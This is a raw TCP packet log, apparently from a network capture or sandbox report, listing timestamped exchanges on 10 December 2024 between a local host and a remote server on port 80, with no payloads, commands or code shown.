Dec 10, 2024 04:49:44.220248938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.220285892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.220352888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.223570108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.223625898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.223656893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.223704100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.266108990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.266181946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.266212940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.266271114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.267756939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.267803907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.267812014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.267858982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.271174908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.271224976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.271235943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.271287918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.274336100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.274389029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.274451971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.274507999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.277690887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.277745008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.277761936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.277812004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.281083107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.281133890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.281163931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.281208992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.284552097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.284601927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.284681082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.284732103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.287869930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.287925005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.287962914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.288011074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.291201115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.291260004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.291285038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.291335106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.294552088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.294619083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.294644117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.294692039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.298249960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.298304081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.298427105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.298479080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.301753044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.301800966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.302325964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.302376032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.305179119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.305227995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.305254936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.305325985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.308506012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.308557987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.309070110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.309119940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.311388016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.311435938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.311499119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.311549902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.314745903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.314799070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.314834118 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.314887047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.318105936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.318165064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.318269968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.318324089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.321482897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.321535110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.321559906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.321604013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.324826956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.324877977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.324939013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.324985981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.328319073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.328375101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.328435898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.328484058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.331626892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.331720114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.331784010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.334969044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.335035086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.335061073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.335104942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.338350058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.338401079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.338424921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.338469028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.341692924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.341737032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.341749907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.341779947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.351701975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.351758003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.352304935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.352313995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.352361917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.352850914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.352901936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.354969025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.355016947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.355117083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.355165958 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.358314037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.358365059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.358392000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.358438969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.361692905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.361705065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.361737967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.361757040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.365015984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.366544962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.380337000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.380445004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.380474091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.380513906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.381953955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.382028103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.382611990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.382667065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.382730961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.382780075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.385950089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.386017084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.386029959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.386069059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.389343023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.389414072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.389434099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.389571905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.392683029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.392738104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.392784119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.392827034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.396054983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.396133900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.396177053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.396224022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.399419069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.399471998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.399523020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.399575949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.402786016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.402857065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.402889013 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.402942896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.406035900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.406089067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.406260014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.406311035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.409208059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.409260035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.409279108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.409321070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.412185907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.412236929 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.412302017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.412353039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.415134907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.415189981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.415240049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.415292025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.418040991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.418093920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.418148994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.418200016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.420954943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.421021938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.421066046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.421124935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.423877001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.423938036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.423975945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.424026012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.426790953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.426846981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.426884890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.427030087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.429717064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.429773092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.429805994 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.429855108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.432602882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.432657957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.432719946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.432770967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.435523033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.435579062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.435647011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.435694933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.437988997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.438045025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.438080072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.438131094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.440399885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.440449953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.440485001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.440536022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.442068100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.442118883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.442157984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.442207098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.443732023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.443783045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.443819046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.443867922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.445401907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.445447922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.458209038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.458369017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.458384991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.458439112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.459017992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.459064960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.459116936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.459162951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.460680008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.460727930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.460805893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.460853100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.462347031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.462404966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.462425947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.462464094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.464020014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.464119911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.464138031 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.464176893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.465677977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.465722084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.465781927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.465827942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.467364073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.467407942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.467472076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.467518091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.469021082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.469072104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.469124079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.469172001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.470709085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.470804930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.470834970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.470876932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.472366095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.472431898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.472460985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.472501040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.474064112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.474107027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.474113941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.474134922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.475703001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.475749016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.475806952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.475848913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.477310896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.477355003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.477442980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.477475882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.478940010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.478998899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.479032040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.479074955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.480566025 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.480624914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.480703115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.480745077 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.482188940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.482233047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.482291937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.482335091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.483802080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.483845949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.483901978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.483937979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.485413074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.485469103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.485513926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.485557079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.487030983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.487092018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.487126112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.487170935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.488653898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.488701105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.488713980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.488740921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.490294933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.490344048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.495349884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.495402098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.495480061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.495520115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.496134043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.496185064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.496212006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.496252060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.497809887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.497858047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.497872114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.497895956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.499361038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.499411106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.499474049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.499512911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.500987053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.501014948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.501030922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.501055002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.502589941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.502697945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.502716064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.502777100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.504220963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.504232883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.504271984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.535855055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.535949945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.535957098 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.536000013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.536484003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:44.536529064 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.562427044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:44.681703091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.287019014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.287076950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.287086964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.287108898 CET	49730	80	192.168.2.4	80.82.65.70
